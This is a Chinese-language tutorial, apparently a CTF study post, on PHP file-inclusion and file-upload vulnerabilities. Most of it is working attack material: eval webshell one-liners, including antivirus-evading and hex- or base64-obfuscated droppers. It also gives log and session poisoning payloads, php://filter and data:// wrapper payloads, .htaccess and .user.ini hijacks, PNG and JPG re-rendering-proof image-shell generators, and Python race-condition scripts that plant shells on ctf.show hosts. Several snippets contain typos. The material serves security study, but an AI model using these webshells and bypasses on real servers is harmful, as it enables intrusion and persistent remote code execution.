文件包含漏洞深度解析:从原理到实战
本文深入解析文件包含漏洞,包括本地与远程文件包含的原理、常见函数及php.ini配置。同时,详细介绍了利用日志文件和Session文件进行漏洞利用的实战技巧,并提供了多种一句话木马的变形与过狗技巧。
- 网络安全
- Web安全
文件包含:
将任何的php文件或者非php文件利用函数包含进php文件之后都会被当作php代码解析。
PHP提供一些函数来进行各个文件之间的相互引用,并提供了一些协议用于读取或者写入文件。
特殊文件包含:
最常见的使用:
include('flag.php') 包含 flag.php 文件
- php代码执行的时候会写去访问flag.php,就好似把flag.php文件全部放在了当前文件,并且执行包含后的这个文件==============>不仅包含也会执行
其他函数:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile
#各种语言文件包含
#ASP ASPX PHP JSP Python Javaweb
<c:import url="http://...">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include ('test.php') ?>
相关配置
本地文件包含 (LFI):可以读取与打开本地文件
远程文件包含 (RFI)(HTTP,FTP,PHP伪协议):可以远程加载文件
php.ini文件:
本地:allow_url_fopen=On/Off
远程:allow_url_include=On/Off
<?php
if(isset($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=info.php";
}
?>
本地:可通过相对路径方式找到文件
?path=info.php
远程:可通过http(s)或者ftp等方式远程加载文件
?path=http://......info.php
?path=ftp://......info.php
allow_url_fopen = On allow_url_include = On
- 本地文件包含:通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行
- 远程文件包含:就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码
?path=http://192.168.158.119/phpinfo.php

包含一句话木马:
将一句话写在一个文件中上传之后,在可以包含文件的php页面包含该文件,直接利用一句话
常见的一句话
eval :
- 用来执行任意php代码
- 用法:
<?php
eval($_POST[1]);
//1=system(ls);
?>
-
最常见的木马:
<?php
eval($_POS[1]);
?>
-
防爆破木马:
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
x=myh0st
-
过狗一句话:
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //s=assert
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>//将敏感函数通过.链接防止被检测
-
不用 ? 的一句话
<script language="php">eval ($_POST[hihack]);</script>
-
不用eval的一句话:
<?php
assert($_POST[1]);
?>
//具体看web1中的执行PHP代码函数的讲解
-
变形一句话后门:
<!--?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?-->
pack:pack(string $format, mixed ...$values): string //将输入参数打包成 format 格式的二进制字符串。
6c6f7374776f6c662e706870//lostwolf.php
3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e//<?@eval($_POST[lostwolf])?>
<!--?php @fputs(fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?-->
pack----->注意format代表的格式
-
灭杀一句话:
<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?-->
直接包含敏感文件
鉴别题目所用服务器:
- 404页面:
随便找一个不存在的页面显示出404之后,就可以看到服务器的类型

- 右键检查抓包:
点击 network 之后刷新一下
包含日志文件
nginx服务器下日志文件的路径:
/var/log/nginx/access.log
/var/log/nginx/error.log
apache服务器下的日志文件路径:
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
/var/log/apache2/error.log //错日志存放
自定义文件路径:/etc/apache2/apache2.conf //查找以 ErrorLog 开头的行
apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
IIS7.0+win2003 默认日志文件
%SystemDrive%inetpublogsLogFiles
nginx 日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)
我们所有的操作都会被服务器中将我们的请求信息记录在日志:

很显然,这是一条日志记录,包含了我们的ip,请求时间,请求地址,以及user-Agent===>浏览器信息,以及我们传入的参数,其他的基本我们都是不能改变的,但是User-Agent和传入的参数我们是可控的,如果User-Agent是一句话会发生什么?


利用 hackbar 原本的user-Agent信息被注入了一句话,在包含日志文件的时候,一句话被执行,最后在日志信息中替换成执行后的结果,原本 access.log 是不会执行一句话的,但是被包含进 .php 页面之后就会以php的方式执行,我们刚好传入一句php代码,因此被执行
如果参数是一句话会发生什么?
- 如果直接在url中进行文件包含可能会造成url编码导致不能被识别成php代码,因此可以借用 curl,或者 burpsuite

虽然file掺入的参数,也就是我们包含的文件名也会被传进日志,但是会被进行url编码之后再传进日志导致无法识别php无法执行,用curl则不会进行URL编码

- curl 请求的地址进行双引号包含
- 转义特殊符号[]
包含 session文件(无后缀文件)
- 获取session位置存放信息

或者

没有值就在/tmp/目录下没有值就在/tmp/目录下
示例:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
session工作原理:
- 首先使用session_start() 函数进行初始化
- 当执行PHP脚本时,通过使用$_
SESSION超全局变量注册 session变量 - 当 P H P 脚 本 执 行 结 束 时 , 未 被 销 毁 的 s e s s i o n 变 量 会 被 自 动 保 存 在 本 地 一 定 路 径 下的session库 中 , 这 个 路 径 可 以 通 过
php.ini文 件 中 的session.savepath指 定 , 下 次 浏 览 网 页 时 可 以 加 载 使 用 .
session _start( )做 了 哪 些 初 始 化 工 作 :
- 读取名为
PHPSESSID( 如 果 没 有 改 变 默 认 值 ) 的 cookie值,假使为abc123 - 若 读 取 到 PHPSESSID这个COOKIE , 创 建 SESSION 变 量 , 并 从 相 应 的 目 录 中 ( 可 以 在 p h p . i n i 中 设 置 ) 读 取
SESS_abc123(默 认 是 这 种 命 名 方 式 ) 文 件 , 将 字 符 装 在 入SESSION变量中 ; 若 没 有 读 取 到PHPSESSID这 个COOKIE, 也 会 创 建$_SESSION超全局变量注册session变量。 (3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中, 这个路径可以通过php.ini文件中的session.save_path 指定,下次浏览网页时可以加载使用。
漏洞分析:
此php会将获取到的GET型ctfs变量的值存入到session目录下存储session的值。session的文件名为sess+sessionid,sessionid可以通过开发者模式获取。

- 默认路径没有值,说明session的保存路径在/tmp/目录下,进入容器看一下

这是默认的文件

- 这里出现警导致下面的程序是无法执行的,这个警告说的是请求可以到达,但无法打开session,只需要将session_start();放在
hilighlight_file前边即可
接下来修改PHPSESSID为aaa传参数 ?ctfs=ctfs
查看session文件

如果写入一句话:

如果当前页面存在文件包含漏洞,那么我们可以直接包含这个文件,进而执行php代码
import requests
import io
import threading
url='http://9e98676e-0b3e-4f3a-b141-ed5a43cfaced.challenge.ctf.show:8080/'
sessionid='ctfshow'. //定义cookie中的sessionid值,作为文件名的一部分
data={
"1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" //要提交的post的值
} //要在sesssion文件中放的内容
#<?php eval($_POST[1]);?>
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50) //在内存中创建50K大的文件
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' //获取实时文件上传进度,也可以利用它将他所对应的值写入session文件中,这样就操控了文件内容,这里的1和上面的data全局变量中的1对应
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes) //上传这个文件,不然不接受PHP_SESSION_UPLOAD_PROGRESS参数
}
)
def read(session):
//读取session文件,写入的sesssion文件的内容就是写函数里面的一句话,所以我们需要传递一个参数
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)//读取文件,这里的data是全局变量的data,session文件的内容就是upload传入的一句话,这句话又调用了data里面的1
resposne2=session.get(url+'2.php'); //看一下文件写没写进去
if resposne2.status_code==200: //请求完之后如返回200,就写入成功
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
with requests.session() as session: ////开启多线程做竞争,因为session文件提交完之后,脚本执行完之后session文件会被删除
for i in range(5): //开启5个线程
threading.Thread(target=write,args=(session,)).start()//执行写
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
任意目录遍历 ../../
防御:php.ini 当中的配置 open_basedir ,将很好可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。而没有设置open_basedir时,文件包含漏洞可以访问任意文件。
经查看之后,各个版本的php该配置默认如下:

修改配置,只允许用户包含指定目录下的文件

再次尝试包含非指定目录下的文件

伪协议读取与包含:
结合文件包含函数,伪协议可以读取或者写入文件
- 在某个文件
a没有highlight_file函数进行高亮的时候我们在页面中是无法看到该页面的内容的,如果另一个页面b存在文件包含漏洞,我们就可以利用伪协议读取a文件的源码 - 一些伪协议还可以执行命令
filter协议:
-
条件:
-
allow_url_fopen:off/onallow_url_include:仅php://input php://stdin php://memory php://temp需要on
?file=php://filter/convetr.base64-encode/可以随便加字符串用来绕过题目的一些要求/resource=flag.php
对数据流进行过滤的一种协议。
- 过滤:过滤是对数据的修改,重整而不是删除!
- resource 参数提供要修改的数据流
- read/write参数提供过滤的方法
官方表格:
| 名称 | 描述 |
|---|---|
| resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
| read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
| write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
| <;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
常用的过滤器:
- convert.base64-encode:
convert.base64-encode和convert.base64-decode使用这两个过滤器等同于用base64_encode和base64_decode函数处理数据 convert.base64-encode支持以一个关 联数组给出的参数。如果给出了 line-length,base64 输出将被用 line-length个字符为长度而截成块。 如果给出了 line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用 base64_encode()再 加上 chunk_split()相同
- spring.rot13
str_rot13 —对字符串执行rot13转换,ROT13编码简单滴使用字母表中后面第13个字母替换当前字母,同时忽略非字母表中的字符,编码和解码都是用相同的函数,传递一个编码过的字符串作为参数,得到原始的字符串。
- 其他过滤器
实例:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?file=php://filter/convetr.base64-encode/resource=flag.php
data协议:
可以读取数据流,也可用来执行php代码,可以把data语句认为是一个文件
?file=data://text/plain;base64(设置编码方式),编码后的php代码
?data://text/plain,<?php system(‘whoami’)?>

示例:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

input协议:
用于执行 POST 数据,也可认为是一个文件POST数据是内容,常用于rce中
enctype="multipart/form-data" 的时候 php://input 是无效的
说明:
- 需要开启allow_url_include
php://input读入请求的POST数据并且执行- 表单确定类别
enctype=”multipart/form-data”无法读取无法执行
<?php
if(isset($_GET['file'])){
if(substr($_GET['file'],0,6)==="php://"){
include($_GET['file']);
}else{
echo "HACKER";
}
}else{
highlight_file(__FILE__);
}
?>

zip://&bzip2://&zlib://
allow_url_fopen:off/onallow_url_include:off/on
压缩流
- compress.zlib://file.gz
- compress.bzip2://file.bz2
- zip://archive.zip#dir/file.txt
作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
主要用文件包含中上传本地一句话文件,利用include执行
示例:
在本地利用phpstudy复现
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>


file://
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
http:// https://
条件:
allow_url_fopen:onallow_url_include:on
作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
用法:
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com
示例:
?file=http://127.0.0.1/phpinfo.txt
phar://
有些waf不会防php后缀的文件,但是他会检测里面的内容,我们可以通过包含的方式,包含rar后缀或者phar后缀里面的txt文件或者jpg文件达到绕过防护的目的
test.php
<?php
include "phar://test.zip/test.txt" //包含test.zip压缩包中的test.txt
?>
或
<?php
include($_POST['chenluo']);
?>
POST:
cheluo=phar://test.zip/test.txt
test.txt:
<?php
phpinfo();
?>

文件上传

没有丝毫过滤
上传php文件,之后访问执行一句话
有前端js检验:
- 先上传规定的后缀文件,之后bp抓包,改后缀文件名
文件后缀绕过:
在服务器限制某些后缀文件不允许上传,但是有些Apache是允许歇息其他文件后缀的,例如在https.conf中,如果配置有如下代码,就能解析php和phtml的文件
AddType application/x-https-php .php .phtml
可尝试:
.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa .cer
.jsp .jspx
结合Apache文件解析机制,从右向左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止。
比如:Apache的多后缀解析漏洞:解析127.0.0.1/1.php.366==127.0.0.1/1.php
注:该漏洞比较古老,大部分已经修复过了,但是会出现在CTF中
文件类型检测:
代码分析:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
-
MIME绕过:Content-Type 字段
判断$_Files["file"]["type"]是不是图片格式(image/gif、imge/jpeg、image\pjpeg),不是则不允许上传。$_Files["file"]["type"]的值是从请求数据包中 Content-Type 中获取。
.gif image/gif
.htm .html text/html
.jpeg .jpg image/jpeg
.js text/javascript
.png image/png
代码分析:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
解决方案:
-
bp抓包,修改
Content-Type: image/png

文件幻数检测
利用getimagesize()函数获取图片的宽高等信息,如果上传的不是图片,则获取不到信息。


解决方法一:
文件头添加

在脚本文件开头补充图片对应的头部值,或在图片后写入写入脚本代码

绕过方法二:上传图片木马
法一:
GIF89a
<?php
phpinfo();
?>
法二:
图片合并:
命令:
copy 1.jpg/b+phpinfo.php/a hack.jpg
以二进制的方式打开,写入文件
法三:
写入到 版权 当中
法四:
直接使用 010Editor 写入,相当于法三
文件内容特殊字符过滤
- 常见的过滤:
文件内容:
<?php eval($_POST[1]);?>
过滤了 [] 用 {} 替换
<?php eval($_POST{1})?>
等。。。。
零零截断绕过:
截断原理: 系统在对文件名的读取时,如果遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示0x00,就会认为读取已结束,也就是所说的0x00截断。
截断条件: php版本小于5.3.4,PHP的magic_quote_gpc为0ff状态
这函数是魔术引号,会对敏感的字符转义的 空就会被转义加个反斜杠
注:URL 中的 %00 系统是按16进制读取文件,URL中的 %00 是被服务器解码为 0x00 而发挥了截断作用。
-
代码分析:
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; //上传路径可控,容易导致00截断
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
-
绕过方法:
-
用burp抓包,然后修改
GET 方式提交—会自动将 %00 解析为 0x00 ,发挥截断作用

POST 方式提交—需要手动将其解码为 十六进制的 00 ,发挥截断作用

.htaccess 攻击
- 上传.htaccess文件
httpd-conf 是Apache 系统的配置文件(全局的);
.htaccess 文件是 Apache 服务器的分布式配置文件(局部的),该配置文件会覆盖Apache服务器的全局配置,只对 该文件所在目录下的文件起作用。
如果一个Web应用程序允许上传.htaccess文件,则说明攻击者可以更改Apache的配置。
- 缺点:只在
Apache 服务器下起作用 - 使用条件:
Apache目录下:/conf/httpd.conf 中 AllowOverride 为 All 则意味着.htaccess 文件可更改 Apache 配置

利用一:将指定后缀文件当作 php 文件处理
AddType application/x-httpd-php .jpg //会将 jpg 文件当作 php 解析会将 jpg 文件当作 php 解析
或者
SetHandler application/x-httpd-php //所有文件都会当作php文件解析
利用二:文件当中包含 php 关键字
文件名中只要包含 .php 关键字就当作php处理:phpinfo.php.png
在 .htaccess 文件中写入:
AddHandler php5-script php
利用三:匹配文件名
匹配文件名:文件名
<FilesMatch "文件名">
SetHandler application/x-httpd-php
</FilesMatch>
在Apache的解析顺序中,是从右到左开始解析文件后缀的。如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可解析的文件为止
-
.user.ini 攻击
php.ini 是 PHP 的一个 全局配置文件(全局的);
.user.ini 是 PHP的目录配置文件(局部的),相当于用户自己定义的一个 php.ini 文件。
PHP中的每个配置都有其所处的模式。其中允许使用 .user.ini 能够更改的模式有 PHP_INI_PERDIR 和 PHP_INI_USER等等。
而 PHP_INI_PERDIR 这个模式当中的 auto_append_file 和 auto_prepend_file 这两个配置对我们有很大帮助。
auto_append_file :指定一个文件在主文件解析之前解析;
auto_prepend_file:指定一个文件在主文件之后解析。
-
**原理:**我们可以使用 auto_prepend_file 这个选项,将我们所要上传的图片马在该目录下的其它PHP文件执行之前首先
包含我们所上传的图片马。相当于在原有的 PHP文件的代码开头加上了require('a.jpg'),从而进行了文件包含,这样我们的图片马就得到了利用。 -
优点:不仅仅限于 Apache 服务器,还可以用于 Nginx , IIS 等服务器。
-
使用条件:
-
- 上传的 .user.ini 目录下必须含有 .php 文件,而一般的题目当中不会含有。
- 服务器使用CGI/FastCGI模式
-
上传.user.ini文件
auto_prepend_file=a.jpg //自动在每个页面包含a.jpg文件,如果在php文件中包含jpg文件就会导致a.jpg被当成php文件解析
- 特殊用法1:日志文件包含
auto_prepend_file =/var/log/nginx/access.log

之后随便上传一个文件。主要是修改 User-Agent

- 特殊用法2:session文件包含
上传 .user.ini 文件
auto_prepend_file=/tmp/sess_test //test要记住
- 利用脚本上传文件
import requests
import io
import threading
ssessID = 'test' //之前的test
url = "http://175fce94-5d4d-4e2f-b297-1f15d7e1d3aa.challenge.ctf.show:8080/"
def write(session):
while event.isSet():
f = io.BytesIO(b'a'*256*1)
response = session.post(
url,
cookies={'PHPSESSID':ssessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("nl ../*.php");?>'}, //要执行的命令
files = {'file':('test.txt',f)}
)
def read(session):
while event.isSet():
response = session.get(url+'upload/index.php'.format(ssessID))
if 'ctfshow{' or 'flag' in response.text:
print(response.text)
event.clear()
else:
print('[*]retring.........')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
session.upload_progress.enabled 这个参数在php.ini默认开启,需要手动配置off,如果不是off,就会在上传的过程中生成上传进度的文件,他的存储路径可以在phpinfo(),中找到
文件上传和文件包含结合:
上传文件之后可能访问的时候是通过某一个参数访问,这时就应该想到这个参数适用做文件包含将我们请求的文件包含在当前页面,如果当前页面是PHP文件那么,我们请求的文件就会当作php文件解析
二次渲染:
- png图片二次渲染:
直接在png图片的IDTA数据块写入一句话,避免了被修改:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
x
imagepng($img,'./1.png');
?>
生成一张在IDTA数据块写有 $_GET[0]($_POST[1]) 的一句话木马的png图片,上传之后再执行
具体原理是IDAT数据块放着png图片的重要信息,一般不会被重新渲染
- gif 图片二次渲染:
使用 010将gif图片的最后加上一句话,上传之后,将上传之后的图片下载下来,再次打开010查看,发现原本我们写入的一句话已经消失了。
但与之前的图片进行对照,仍有未经渲染(改变)的部分,我们可以讲一句话写入不会被渲染的部分进行上传即可。
图片末尾加一句话

经过渲染,一句话消失

找到未经渲染的部分,加一句话,上传

再次下载,发现未被渲染掉

jpg 图片二次渲染:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
先找一张jpg上传,将上传的图片进行下载,kali运行脚本


写入成功
条件竞争:
一些网站的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShell脚本,若果包含就会删除文件。这里存在的问题是文件上传成功之后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用足额个时间差完成竞争条件的上传漏洞攻击
代码分析:
<?php
if($_FILES["file"]["error"]>0)
{
echo "Return Code: ". $_FILES["file"]["error"] . "<br />";
}
else
{
echo "upload: " .$_FILES["file"]["name"]."<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . "kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . "already exeits.";
}
else
{
mobe_upload_file($_FILES["file"]["tmp_name"],"upload/". $_FILES["file"]["name"]);
echo "Store in:" . "upload/".$_FILES["file"]["name"];
sleep("10"); //可省略
unlink("upload/".$_FILES["file"]["name"]); //删除文件
}
}
?>
攻击者写上传WebShell脚本 10.pho,10.php的内容是生成一个新的WebShell脚本shell.php,10.php的代码如下:
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[1]);?>')
?>
- 当10.php上传成功之后,客户端立即访问10.php,则会在上级目录下自动生成
shell.php
upload-lab相关知识
-
黑名单没有完全过滤所有后缀名
-
构造php::$DATA绕过
-
windows中会被认为是php文件解析
-
windows系统中
.php.会自动认为是. -
文件头
GIF89a(16进制) =47494638
- 构造图片马命令:
cat 1.png 1.php > 2.php
或者
copy 1.jpg /b + 1.php 14.jpg
/b是以二进制的形式复制,合并文件,用于图像类声音类文件
- move_upload_file问题(upload-19)
1. move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的
发现 move_uploaded_file() 函数中的 img_path 是由 post 参数 save_name 控制的,因此可以在 save_name 利用00截断绕过
CTF 常见思路
- 找到允许上传的文件类型,抓包
- 在 Content-Type 正确的情况下,首先尝试直接更改 后缀为 .php ,写入一句话木马
- 上述不允许的情况下,观察服务器类型,nginx 尝试 .user.ini ,Apache 尝试 .htaccess
# .user.iniauto_prepend_file=1.pngauto_prepend_file=testauto_prepend_file=/var/log/nginx/access.log
# .htaccessAddType application/x-httpd-php .png # 特定文件后缀当作 php 文件处理AddHandler php5-script php # 包含关键字的文件名当作 php 文件处理<FilesMatch "文件名"> # 特定文件名当作 php 文件处理SetHandler application/x-httpd-php</FilesMatch>SetHandler application/x-httpd-php #所有文件后缀都当作 php 文件处理
.user.ini 注意该目录下是否已经含有 .php 文件
过滤 php
# 大小写绕过# 短标签
过滤 []
# {} 绕过
过滤 分号 ;
# 命令执行
<? system("nl ../f*")?>
<?=(system('nl ../f*'))?>
<?= `nl ../*.p*`?>
<?= `nl ../f*`?>
<?=(system('tac ../f*'))?>
日志包含
过滤 log Web 160
#上传 .user.ini
auto_prepend_file=123.png
# 上传 123.png,在其中进行拼接
# nginx 服务器
<?=include"/var/log/nginx/access.log"?>
# 由于 log 被过滤,进行拼接
<?=include"/var/l"."og/nginx/access.l"."og"?>
# 访问 /upload/index.php 抓包
在 User-Agent 中添加恶意代码 <?php system('cat ../flag.php'); ?> ,访问
未过滤 log Web 169 170
# 上传 .user.ini
auto_prepend_file=/var/log/nginx/access.log
# 上传 .php 文件,同时 User-Agent 写入 代码 <?php phpinfo(); ?><?php @eval($_POST['a']); ?>
内容随意
# 访问,命令执行
.user.ini 上传不了?尝试文件头写入
GIF89a
过滤 . Web 162-163
